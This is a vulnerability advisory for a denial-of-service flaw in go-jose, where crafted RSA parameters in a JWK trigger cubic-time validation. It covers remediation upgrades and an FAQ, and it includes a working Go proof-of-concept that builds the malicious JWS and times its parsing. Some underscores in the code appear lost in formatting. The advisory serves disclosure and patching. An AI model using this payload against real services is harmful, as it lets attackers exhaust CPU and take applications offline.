CVE-2026-116587: Go JOSE: DoS when parsing JWKs that contain RSA keys
Summary
A crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU.
Details
go-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to crypto/rsa.PrivateKey.Validate(). On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU.
https://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700
Proof of concept
No special configuration of go-jose is required to reproduce this vulnerability.
go package main
import ( "encoding/base64" "encoding/json" "fmt" "math/big" "time"
"github.com/go-jose/go-jose/v4" )
func main() { // The RSA parameters can be complete junk. The CPU cost is in validating them. primeBits := 16384 p := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1)) p.SetBit(p, 0, 1) n := new(big.Int).Lsh(big.NewInt(1), 2048) e := big.NewInt(65537) d := big.NewInt(3) q := big.NewInt(3)
jwk := map[string]string{ "kty": "RSA", "n": base64.RawURLEncoding.EncodeToString(n.Bytes()), "e": base64.RawURLEncoding.EncodeToString(e.Bytes()), "d": base64.RawURLEncoding.EncodeToString(d.Bytes()), "p": base64.RawURLEncoding.EncodeToString(p.Bytes()), "q": base64.RawURLEncoding.EncodeToString(q.Bytes()), }
protected := map[string]any{ "alg": "RS256", "jwk": jwk, } protJSON, := json.Marshal(protected)
jws := map[string]string{ "protected": base64.RawURLEncoding.EncodeToString(protJSON), "payload": base64.RawURLEncoding.EncodeToString([]byte({})), "signature": base64.RawURLEncoding.EncodeToString([]byte("not-a-real-signature")), } jwsJSON, := json.Marshal(jws)
start := time.Now() , err := jose.ParseSigned(string(jwsJSON), []jose.SignatureAlgorithm{jose.RS256}) elapsed := time.Since(start)
fmt.Printf("prime bits: %d\n", primeBits) fmt.Printf("parse time: %s\n", elapsed) fmt.Printf("parse error: %v\n", err) }
Impact
Denial of service vulnerability. Any application that uses go-jose to parse JWKs from untrusted sources is affected and should patch immediately.
Credits
Reported by Yuval Saggie and Mor Weinberger (powered by Echo Frontier)
Other sources
Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.
— Ubuntu
Go JOSE: DoS when parsing JWKs that contain RSA keys
— Microsoft
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/github.com/go-jose/go-jose/v4to a version that resolves this vulnerability.Fixed in 4.1.6 - Upgrade
Upgrade
alpine/dockerto a version that resolves this vulnerability.Fixed in 29.9.3-r0 - Upgrade
Upgrade
azurelinux/skopeoto a version that resolves this vulnerability.Fixed in 1.14.4-16 - Upgrade
Upgrade
azurelinux/telegrafto a version that resolves this vulnerability.Fixed in 1.31.0-37 - Upgrade
Upgrade
github.com/go-jose/go-jose/v4to a version that resolves this vulnerability.Fixed in 4.1.6
Event History
Frequently Asked Questions
Which deployments are exposed to this issue?
Applications using Go JOSE versions before 4.1.6 are exposed if they parse JWKs from untrusted sources and run on Go 1.24 or later. Applications that do not process attacker-controlled JWK input are not described as affected by this attack path.
What must an attacker provide to trigger the denial of service?
An attacker must cause the application to parse a JWK containing crafted, excessively large or degenerate RSA modulus or prime values. The vulnerable parsing path passes these values to crypto/rsa.PrivateKey.Validate, where validation can consume cubic CPU time on Go 1.24 and later.
Is authentication or user interaction required for exploitation?
No. The supplied vector is network-accessible with low attack complexity, no privileges required, and no user interaction required, provided the attacker can submit or otherwise supply an untrusted JWK to the application.
What version fixes the issue?
Upgrade Go JOSE to version 4.1.6, which adds the fix for this issue.